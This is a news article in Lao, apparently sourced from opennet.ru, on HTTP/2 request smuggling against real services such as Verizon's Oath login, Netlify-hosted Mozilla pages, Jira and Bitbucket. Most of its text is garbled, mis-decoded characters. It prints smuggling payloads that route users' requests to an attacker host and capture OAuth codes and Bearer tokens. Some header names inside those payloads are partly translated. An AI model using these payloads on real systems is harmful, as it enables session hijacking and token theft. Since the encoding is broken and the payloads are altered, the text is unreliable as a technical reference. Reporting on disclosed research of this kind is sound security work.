โ€œ{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" เป€เบ–เบดเบ‡เบงเปˆเบฒเบˆเบฐเบกเบตเบเบฒเบ™เปเบšเปˆเบ‡เบ‚เบฑเป‰เบ™เบ•เบปเป‰เบ™เบ•เบฒเบกเบ‚เบฐเปœเบฒเบ”เบฅเบงเบก.

เบเบฒเบ™เบ›เบฐเบเบปเบ”เบ•เบปเบงเบ‚เบญเบ‡เบŠเปˆเบญเบ‡เบซเบงเปˆเบฒเบ‡เบ”เบฑเปˆเบ‡เบเปˆเบฒเบงเป„เบ”เป‰เบชเบฐเปเบ”เบ‡เปƒเบซเป‰เป€เบซเบฑเบ™เป‚เบ”เบเบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡ Verizon. เบขเปˆเบฒเบ‡เปƒเบ”เบเปเบ•เบฒเบก, เบšเบฑเบ™เบซเบฒเบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบ›เบฐเบ•เบนเบเบฒเบ™เบเบงเบ”เบชเบญเบšเบ„เบงเบฒเบกเบ–เบทเบเบ•เป‰เบญเบ‡เปเบฅเบฐเบฅเบฐเบšเบปเบšเบเบฒเบ™เบ„เบธเป‰เบกเบ„เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒ, เป€เบŠเบดเปˆเบ‡เบเบฑเบ‡เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เป‚เบ”เบเบชเบฐเบ–เบฒเบ™เบ—เบตเปˆเป€เบŠเบฑเปˆเบ™ Huffington Post เปเบฅเบฐ Engadget. เบ•เบปเบงเบขเปˆเบฒเบ‡, เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ‚เบญเบ‡เบฅเบนเบเบ„เป‰เบฒเบœเปˆเบฒเบ™ HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com เบเบฒเบ™เป‚เบญเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ” chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

เป€เบฎเบฑเบ”เปƒเบซเป‰เป€เบเบตเบ” HTTP/1.1 เบฎเป‰เบญเบ‡เบ‚เปเปƒเบซเป‰ backend: POST /identity/XUI HTTP/1.1 เป‚เบฎเบช: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 เป‚เบฎเบช: psres.net เป€เบ™เบทเป‰เบญเปƒเบ™-เบ„เบงเบฒเบกเบเบฒเบง : 10x=

เปƒเบ™เบ—เบฒเบ‡เบเบฑเบšเบเบฑเบ™, backend, เบšเปเปˆเบชเบปเบ™เปƒเบˆเบชเปˆเบงเบ™เบซเบปเบง "เบ„เบงเบฒเบกเบเบฒเบงเบ‚เบญเบ‡เป€เบ™เบทเป‰เบญเบซเบฒ" เปเบฅเบฐเป€เบฎเบฑเบ”เบเบฒเบ™เปเบเบเบขเบนเปˆเปƒเบ™เบเบฐเปเบชเป‚เบ”เบเบญเบตเบ‡เปƒเบชเปˆ "เบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”เบเบฒเบ™เป‚เบญเบ™เบเป‰เบฒเบ: chunked". เปƒเบ™เบ—เบฒเบ‡เบ›เบฐเบ•เบดเบšเบฑเบ”, เบเบฒเบ™เป‚เบˆเบกเบ•เบตเป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰เบ—เบตเปˆเบˆเบฐเบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ‚เบญเบ‡เบœเบนเป‰เปƒเบŠเป‰เป„เบ›เบซเบฒเป€เบงเบฑเบšเป„เบŠเบ‚เบญเบ‡เบ—เปˆเบฒเบ™, เบฅเบงเบกเบ—เบฑเบ‡เบเบฒเบ™เบ‚เบฑเบ”เบ‚เบงเบฒเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เบเบงเบ”เบชเบญเบš OAuth, เบžเบฒเบฅเบฒเบกเบดเป€เบ•เบตเบ—เบตเปˆเบ›เบฒเบเบปเบ”เบขเบนเปˆเปƒเบ™เบชเปˆเบงเบ™เบซเบปเบงเบ‚เบญเบ‡เบœเบนเป‰เบญเป‰เบฒเบ‡เบญเบตเบ‡, เป€เบŠเบฑเปˆเบ™เบ”เบฝเบงเบเบฑเบ™เบเบฑเบšเบเบฒเบ™เบˆเปเบฒเบฅเบญเบ‡เบเบญเบ‡เบ›เบฐเบŠเบธเบกเบเบฒเบ™เบเบงเบ”เบชเบญเบšเปเบฅเบฐเบเบฒเบ™เป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เบเบฒเบ™เบชเบปเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเป‚เบ”เบเบœเบนเป‰เปƒเบŠเป‰. เบฅเบฐเบšเบปเบšเบเบฑเบšเป€เบˆเบปเป‰เบฒเบžเบฒเบšเบ‚เบญเบ‡เบœเบนเป‰เป‚เบˆเบกเบ•เบต. GET /b2blanding/show/oops HTTP/1.1 เป€เบˆเบปเป‰เบฒเบžเบฒเบš: psres.net เบœเบนเป‰เบญเป‰เบฒเบ‡เบญเบตเบ‡: https://id.b2b.oath.com/?โ€ฆ&code=secret GET / HTTP/1.1 เป€เบˆเบปเป‰เบฒเบžเบฒเบš: psres.net เบเบฒเบ™เบญเบฐเบ™เบธเบเบฒเบ”: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik

เป€เบžเบทเปˆเบญเป‚เบˆเบกเบ•เบตเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ” HTTP/2 เบ—เบตเปˆเบšเปเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบฅเบฐเบšเบธเบซเบปเบงเป€เบฅเบทเปˆเบญเบ‡เบเบฒเบ™เป‚เบญเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ” pseudo-header, เบงเบดเบ—เบตเบเบฒเบ™เบญเบทเปˆเบ™เป„เบ”เป‰เบ–เบทเบเบชเบฐเป€เบซเบ™เบตเบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เบ›เปˆเบฝเบ™เบชเปˆเบงเบ™เบซเบปเบง "Transfer-Encoding" เป‚เบ”เบเบเบฒเบ™เบ•เบดเบ”เบกเบฑเบ™เปƒเบชเปˆเบเบฑเบšเบซเบปเบง pseudo-headers เบญเบทเปˆเบ™เป†เบ—เบตเปˆเปเบเบเบญเบญเบเป‚เบ”เบเบ•เบปเบงเบญเบฑเบเบชเบญเบ™เปƒเบซเบกเปˆ (เป€เบกเบทเปˆเบญเบ–เบทเบเปเบ›เบ‡. เป€เบ–เบดเบ‡ HTTP/1.1 เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰, เบชเบญเบ‡เบชเปˆเบงเบ™เบซเบปเบง HTTP เปเบเบเบ•เปˆเบฒเบ‡เบซเบฒเบเปเบกเปˆเบ™เบ–เบทเบเบชเป‰เบฒเบ‡เบ‚เบถเป‰เบ™).

เบ•เบปเบงเบขเปˆเบฒเบ‡, Atlassian Jira เปเบฅเบฐ Netlify CDN (เปƒเบŠเป‰เป€เบžเบทเปˆเบญเบฎเบฑเบšเปƒเบŠเป‰เบซเบ™เป‰เบฒเป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™ Mozilla เปƒเบ™ Firefox) เป„เบ”เป‰เบฎเบฑเบšเบœเบปเบ™เบเบฐเบ—เบปเบšเบˆเบฒเบเบšเบฑเบ™เบซเบฒเบ™เบตเป‰. เป‚เบ”เบเบชเบฐเป€เบžเบฒเบฐ, เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป HTTP/2 : เบงเบดเบ—เบตเบเบฒเบ™ POST :path / :authority start.mozilla.org foo b\r\n เบเบฒเบ™เป‚เบญเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n เบ„เบงเบฒเบกเบเบฒเบงเป€เบ™เบทเป‰เบญเบซเบฒ: 5\r\n \r\nx=

เป€เบฎเบฑเบ”เปƒเบซเป‰เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป HTTP/1.1 POST / HTTP/1.1 เบ–เบทเบเบชเบปเปˆเบ‡เป„เบ›เบซเบฒ backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- เบ„เบงเบฒเบกเบเบฒเบง: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n เบ„เบงเบฒเบกเบเบฒเบงเป€เบ™เบทเป‰เบญเบซเบฒ: 5\r\n \ r\nx=

เบ—เบฒเบ‡เป€เบฅเบทเบญเบเบญเบทเปˆเบ™เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ›เปˆเบฝเบ™เบชเปˆเบงเบ™เบซเบปเบง "Transfer-Encoding" เปเบกเปˆเบ™เป€เบžเบทเปˆเบญเปเบ™เบšเบกเบฑเบ™เปƒเบชเปˆเบเบฑเบšเบŠเบทเปˆเบ‚เบญเบ‡เบซเบปเบงเบ‚เปเป‰ pseudo-header เบญเบทเปˆเบ™เบซเบผเบทเปƒเบชเปˆเบชเบฒเบเบ—เบตเปˆเบกเบตเบงเบดเบ—เบตเบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป. เบ•เบปเบงเบขเปˆเบฒเบ‡, เป€เบกเบทเปˆเบญเป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡ Atlassian Jira, เบŠเบทเปˆเบ‚เบญเบ‡เบซเบปเบงเบ‚เปเป‰ pseudo-header "foo: bar\r\ntransfer-encoding" เบ—เบตเปˆเบกเบตเบ„เปˆเบฒ "chunked" เบชเบปเปˆเบ‡เบœเบปเบ™เปƒเบซเป‰เบกเบตเบเบฒเบ™เป€เบžเบตเปˆเบกเบชเปˆเบงเบ™เบซเบปเบง HTTP "foo: bar" เปเบฅเบฐ "transfer-encoding. : chunked", เปเบฅเบฐเบเบฒเบ™เบฅเบฐเบšเบธเปƒเบ™ pseudo-header ":method" เบ‚เบญเบ‡เบ„เปˆเบฒ "GET / HTTP/1.1\r\nTransfer-encoding: chunked" เบ–เบทเบเปเบ›เป€เบ›เบฑเบ™ "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

เบ™เบฑเบเบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบœเบนเป‰เบ—เบตเปˆเป„เบ”เป‰เบเปเบฒเบ™เบปเบ”เบšเบฑเบ™เบซเบฒเบเบฑเบ‡เป„เบ”เป‰เบชเบฐเป€เบซเบ™เบตเป€เบ•เบฑเบเบ™เบดเบเบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป tunneling เป€เบžเบทเปˆเบญเป‚เบˆเบกเบ•เบต frontends, เปƒเบ™เบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเปเบเบเบ•เปˆเบฒเบ‡เบซเบฒเบเบเบฑเบš backend เป„เบ”เป‰เบ–เบทเบเบชเป‰เบฒเบ‡เบ•เบฑเป‰เบ‡เบ‚เบถเป‰เบ™เบชเปเบฒเบฅเบฑเบšเปเบ•เปˆเบฅเบฐ IP address เปเบฅเบฐเบเบฒเบ™เบˆเบฐเบฅเบฒเบˆเบญเบ™เบ‚เบญเบ‡เบœเบนเป‰เปƒเบŠเป‰เบ—เบตเปˆเปเบ•เบเบ•เปˆเบฒเบ‡เบเบฑเบ™เบšเปเปˆเป„เบ”เป‰เบ›เบฐเบชเบปเบกเบเบฑเบ™. เป€เบ•เบฑเบเบ™เบดเบเบ—เบตเปˆเบชเบฐเป€เบซเบ™เบตเบšเปเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ—เปˆเบฒเบ™เปเบŠเบเปเบŠเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ‚เบญเบ‡เบœเบนเป‰เปƒเบŠเป‰เบญเบทเปˆเบ™เป†, เปเบ•เปˆเป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰เบ—เบตเปˆเบˆเบฐเป€เบ›เบฑเบ™เบžเบดเบ”เบ‚เบญเบ‡ cache เบ—เบตเปˆเปƒเบŠเป‰เบฎเปˆเบงเบกเบเบฑเบ™, เป€เบŠเบดเปˆเบ‡เบœเบปเบ™เบเบฐเบ—เบปเบšเบ•เปเปˆเบเบฒเบ™เบ›เบธเบ‡เปเบ•เปˆเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบญเบทเปˆเบ™เป†, เปเบฅเบฐเบŠเปˆเบงเบเปƒเบซเป‰เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ›เปˆเบฝเบ™เบชเปˆเบงเบ™เบซเบปเบง HTTP เบžเบฒเบเปƒเบ™เบ—เบตเปˆเปƒเบŠเป‰เปƒเบ™เบเบฒเบ™เป‚เบญเบ™เบ‚เปเป‰เบกเบนเบ™เบเบฒเบ™เบšเปเบฅเบดเบเบฒเบ™เบˆเบฒเบ. เบ”เป‰เบฒเบ™เบซเบ™เป‰เบฒเป„เบ›เบซเบฒ backend (เบ•เบปเบงเบขเปˆเบฒเบ‡เป€เบŠเบฑเปˆเบ™, เป€เบกเบทเปˆเบญเบเบฒเบ™เบเบงเบ”เบชเบญเบšเบ„เบงเบฒเบกเบ–เบทเบเบ•เป‰เบญเบ‡เบขเบนเปˆเบ”เป‰เบฒเบ™เบซเบ™เป‰เบฒเปƒเบ™เบชเปˆเบงเบ™เบซเบปเบงเบ”เบฑเปˆเบ‡เบเปˆเบฒเบงเบชเบฒเบกเบฒเบ”เบชเบปเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™เบเปˆเบฝเบงเบเบฑเบšเบœเบนเป‰เปƒเบŠเป‰เบ›เบฐเบˆเบธเบšเบฑเบ™เป„เบ›เบซเบฒ backend). เป€เบ›เบฑเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบงเบดเบ—เบตเบเบฒเบ™เปƒเบ™เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”, เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰ cache poisoning, เบกเบฑเบ™เป€เบ›เบฑเบ™เป„เบ›เป„เบ”เป‰เบ—เบตเปˆเบˆเบฐเป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เบ„เบงเบšเบ„เบธเบกเบซเบ™เป‰เบฒเป€เบงเบฑเบšเบ•เปˆเบฒเบ‡เป†เปƒเบ™เบเบฒเบ™เบšเปเบฅเบดเบเบฒเบ™ Bitbucket.

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™